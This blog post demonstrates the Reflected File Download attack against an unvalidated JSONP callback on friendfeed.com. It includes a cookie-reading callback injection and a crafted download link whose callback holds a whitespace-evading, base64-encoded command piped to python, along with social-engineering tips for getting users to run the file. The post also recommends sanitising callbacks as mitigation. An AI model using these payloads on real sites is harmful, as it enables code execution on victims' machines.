Practical Reflected File Download and JSONP

This week introduced us to a new web attack vector, which the researcher dubbed “Reflected File Download” [RFD] . It’s a very interesting attack which has potential to do some severe damage, especially in social engineering contexts. Full details of the reflected file download attack can be found here:

http://blog.spiderlabs.com/2014/10/reflected-file-download-the-white-paper.html

While reading through the white paper linked above, the author notes that, when talking about code injection points, JSONP callbacks make a good, albeit limited, entry point for attacker code:

” JSONP Callbacks – by definition a JSONP callback is reflected back into the response. While this is often a more limited injection point that forbids special characters, it remains usable for some RFD payloads. ” [1]

The author also notes the use of the “download” HTML attribute [2] to force a download rather than view a generated file in-browser. In most of my tests, sites either validated the JSON callback, or did not allow manipulation of a downloaded filename by using the ;/filename.bat;/filename.bat trick which Hafif uses. However, the attack does increase the importance of validating JSONP callbacks.

Validation of JSONP callbacks has been on the radar from quite some time. An interesting blog post by Tav [3] back in 2009 illustrates that even back then, JSONP callback validation was an important issue. So, how easy would it be to pull off an attack based on the JSONP callbacks and the techniques presented in the RFD paper?

Maybe a bit too simple. Taking the same friendfeed.com API which Tav mentions  (aside: why hasn’t this been patched yet?!) , visiting the url:

http://friendfeed.com/api/feed/public?callback=alert%28document.cookie%29%3Bfoo{}

We get the output of:

alert(document.cookie);foo{}({"entries":[{....

Confirming that the unvalidated JSONP callback still exists. But now with RFD, this is what we can do:

  • We note that the API doesn’t directly allow a user to download a file, so the HTML download attribute will have to be used

 

  • We test if the API allows an attacker to modify the filename as per the RFD paper like so:
<a href="http://friendfeed.com/api/feed/public;/test.sh;/test.sh?callback=alert%28document.cookie%29%3Bfoo{}" download> Test </a>

It doesn’t… the server returns

{"errorCode":"not-found"}

 indicating the server is looking for test.py on it’s filesystem rather than allowing “loose urls” which make the browser use test.py as the download filename. We can still get around this however…

  • Create a link on an attacker controlled page (or via XSS injection or other badness…) like so:
<a href="http://friendfeed.com/api/feed/public?callback=echo${IFS}cHJpbnQgJ0hlbGxvIFdvcmxkJwpwcmludCAncGF3bmQgOignCg==|${IFS}base64${IFS}--decode${IFS}|${IFS}python||" download="test.sh"> FriendFeed Test </a>

Note  I have now modified the JSONP callback value to something we can run… The command is geared towards a bash shell, and deserves some explanation:

– The ${IFS} serves as a replacement for whitespace. Some JSONP APIs filter out whitespace in callback functions, so it depends on what you find out there

– The actual commands to be run are base64 encoded, again, to avoid some filtering in the JSONP callbacks APIs

– The base64 string is decode, and passed into python.

– The final || are the bash Boolean “or”. This means if the first command does not run, then run whatever command comes after this symbol. Since we know the first part of the command is going to work, bash will disregard the second part, effectively commenting out the rest of the feed…

  • A clever social engineer would style the link and put it into context, claiming something like “Free FriendFeed Reader”… you get the point. The user would maybe check the link out, but seeing the “friendfeed.com” domain, would probably not give it a second thought, congratulating himself for remembering to even check the link domain 🙂

 

  • The file will be downloaded, coming from friendfeed.com – probably throwing off web firewalls, url filters, etc…
JSONP and RFD download
JSONP and RFD download
  • If the user were to run the file (I’ve been using bash for convenience, as Hafif notes in his paper, an attacker would use .com, or .bat and try get around the system execution policies), we get:

Selection_038

So, in conclusion, JSONP in conjunction with RFD can be quite damaging. Mitigation strategies include, at a minimum, properly sanitizing the user input for your JSONP callbacks. Hafif outlines a couple more.

References

[1] “Reflected File Download a New Web Attack Vector” – Oren Hafif

[2] http://www.w3schools.com/tags/att_a_download.asp

[3] http://tav.espians.com/sanitising-jsonp-callback-identifiers-for-security.html

2 thoughts on “Practical Reflected File Download and JSONP

Comments are closed.